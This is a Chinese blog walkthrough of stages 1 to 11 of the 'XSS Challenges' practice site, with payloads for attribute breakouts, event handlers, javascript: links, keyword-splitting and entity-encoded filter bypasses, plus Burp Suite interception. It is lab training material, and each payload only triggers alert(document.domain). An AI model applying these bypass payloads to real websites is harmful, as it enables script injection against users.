XSS Challenges1

XSS Challenges绕过防护策略进行XSS注入

Stage #1无过滤的XSS注入

image.png

直接输入1查看下出现的位置

image.png

可以看到是处在b标签中间的

所以用

PHP
<script>alert(document.domain);</script>

试试

image.png

出现弹窗

image.png

出现第二关的地址

image.png

进入到第二关

Stage #2属性中的XSS注入 

image.png

测试下过滤情况

image.png

可以看到提交的内容被放进value中,当做文本信息存在 value中。

闭合标签

Ruby
"><script>alert(document.domain);</script>

image.png

出现弹窗

image.png

检查下源码

image.png

得到第三关地址

image.png

进入到三关

Stage #3 选择列表中的XSS注

image.png

测试下语句

image.png

发现这里多出了一个p2值,试试能不能在p2注入

Ruby
<script>alert(document.domain);</script>

image.png

出现弹窗

image.png

得到第四关地址

image.png

进入第四关

Stage #4 在隐藏域中注入XSS

image.png

测试下语句

image.png

检查下源码发现,这次多出了一个p3

测试下新的语句

"><script>alert(document.domain);</script>

image.png

发现这样并没有用,采用burp抓包修改的方式

配置burpsuite 加载证书用于截断https协议

首先打开burpsuite 开启监听

image.png

配置火狐使用burpsuite 代理上网

image.png

浏览器访问http://burp/ 创建证书

image.png

浏览器中导入证书

image.png

image.png

image.png

image.png

image.png

回到第四关,进行抓包

image.png

Scala
"><script>alert(document.domain)</script>

image.png

发包后,回到页面发现出现弹窗

image.png

得到第五关的地址

image.png

进入到第五关

Stage #5限制输入长度的解决方式

image.png

检查下源码

image.png

发现这里长度做了限制,且把值放进了value中

image.png

修改长度后,提交,出现弹窗

image.png

查看下源码

image.png

得到第六关地址

image.png

进入到第六关

Stage #6限制输入<>的XSS注入

image.png

检查下源码

image.png

测试下语句

Ruby
"><script>alert(document.domain);</script>

image.png

发现语句被转义了,使用新的语句

Ruby
123" onmouseover="alert(document.domain)"

image.png

出现弹窗,得到第七关地址

image.png

 

Stage #7限制输入引号的XSS注入

image.png

测试下语句

Ruby
123" onmouseover="alert(document.domain)"

可以看到这里被添加了引号

image.png

测试语句

SQL
123" onmouseover=alert(document.domain)

image.png

查看下源码

image.png

得到第八关地址

image.png

进入到第八关

Stage #8 JavaScript伪协议

image.png

测试语句

Python
"><script>alert(document.domain);</script>

image.png

可以看到语句被交给了url,重新构造下语句

SQL
javascript:alert(document.domain)

image.png

可以看到这样一个点击事件就被插入进去了,点击下链接

image.png

出现弹窗,得到第九关地址

image.png

进入到第九关

Stage #9 UTF-7编码注入(跳过)

image.png

因为现在utf-7的编码,基本不用,所以跳过关开

Rust
onclick="alert(document.domain)"

image.png

鼠标移动过去,出现弹窗

image.png

得到第十关地址

image.png

进入第十关

Stage #10绕过关键字domain

image.png

根据提示,这里过滤了domain,测试语句

Ruby
"><script>alert(document.domain);</script>

image.png

重新构造语句

Ruby
"><script>alert(document.domdomainain);</script>

出现弹窗

image.png

得到第十一关地址

image.png

进入到第十一关

Stage #11 绕过过滤script和on关键字的XSS注入

image.png

根据提示可以看到过滤掉很多参数

Python
Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"   
#提示的意思是: 
将script      替换成xscript ; 
将on[a-z]+=      替换成onxxx= ; 
将style=      替换成stxxx= ;

 测试下语句

Scala
"><script>alert(document.dodomainmain);</script>

image.png

可以看到被替换了,接下来使用伪协议绕过

Ruby
123"><a href="javas&#09cript:alert(document.domain);">xss</a>

image.png

看以看到语句被插入进入了,点击xss,出现弹窗

image.png

得到第十二关地址

image.png

进入到第十二关

image.png

posted @ 2020-06-08 11:08  MTcx  阅读(219)  评论(0编辑  收藏  举报